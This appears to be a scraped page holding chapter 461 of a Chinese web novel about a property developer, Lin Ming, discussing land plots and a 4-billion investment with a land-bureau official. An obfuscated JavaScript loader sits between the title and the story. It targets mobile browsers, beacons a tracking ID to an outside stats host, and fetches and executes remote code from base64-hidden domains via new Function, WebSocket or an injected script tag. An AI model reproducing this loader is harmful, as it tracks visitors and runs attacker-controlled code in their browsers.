第461章 您可曾赌过?(第1页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
其实根本不用看。
之前张向阳就说了,红阳集团要的是b23、b31、b32板块,东陵地产想要的则是a12、b26板块。
每一块宗地的面积,都是按照商品房小区面积来规划的,只不过有大有小。
这些跟林铭想要的并不冲突。
不过他还是装模作样的走了过去,然后聚精会神的看了一会儿。
“我之前就说过了,凤凰地产既然要在长光市这里投入如此之大的手笔,那就证明林总之前肯定是调研过的吧?”张向阳忽然说道。
林铭心道调研个毛,凤凰地产那帮家伙都还不知道自己要在长光市拿地呢!
按照长光市现在的行情。
他们要是真的过来调研,恐怕反对都来不及。
“那是肯定了。”
林铭沉声道:“凤凰地产预估,此次在长光市总资金投入将会达到40亿,甚至超过40亿,当然得提前做点准备。”
“40亿……”
张向阳深深的吸了口凉气。
他作为长光市土地局一把手,最是明白这样一笔庞大的资金,到底代表着什么。
投资房地产,不是修建高速公路,或者构架桥梁之类的。
最简单来说。
一个小区里的一栋正常楼座,毛坯17层左右,大约1500万到2000万之间就足够了。
这还是一梯一户的楼栋建筑预算。
如果是那种一梯两户的,综合质量肯定会有所降低,即便包括消防通道在内,1200万也肯定够用。
大体质量不会出现任何问题,也足以通过综合验收。
按照这个数字简单一算。
一个楼座1500万,那40个亿,就可以盖起大约266个楼座!
这是什么概念?
大部分小区的楼座数量都在十几个。
可按照林铭说的,如果只建设八个小区的话,那平均下来,每个小区的楼座数量,就得达到33个左右!
整个长光市目前楼盘,最大的也没有33个楼座!
因此。
张向阳在心中算了一下之后,不由得皱起了眉头。
“东部宗地也就那么些,根本不足以支撑凤凰地产的规划发展。”
“张部此言差矣。”
林铭自然知道张向阳的意思。
当即笑道:“我知道张部在担心土地面积不够的问题,但我也没说一定要把钱都花在盖房子上面,比如配套相应的大型综合商超、学校,还有人才公寓,甚至是医院等等,这些都得花钱的嘛!”
“就算加上这些,也花不了那么多钱。”
张向阳看着林铭:“你肯定还有其他想法,对吧?”
林铭微微一笑:“是这样的,按照凤凰地产的规划,是打算将所有小区都打造成精装小区,甚至连软装都做好,给购买的业主做到真正的精装入住!”
“原来是这样。”张向阳恍然大悟。
俗话说得好。
盖房有价,装修无价。
甚至对于很多有钱人来说,装修一套房子所花的钱,比买这套房子还要贵!
人家要的就是舒服,就是体验感,谁能说什么?
如果凤凰地产真的是把主意打在装修上面,那这40亿资金就有了去处,小区的建筑面积、楼座数量、容积住户率等等,也都会跟着收缩。
张向阳还真怕林铭搞什么幺蛾子。
小事情他能往下压一压。
可林铭的手笔如此之大,真要是出了什么问题,他想压都压不住!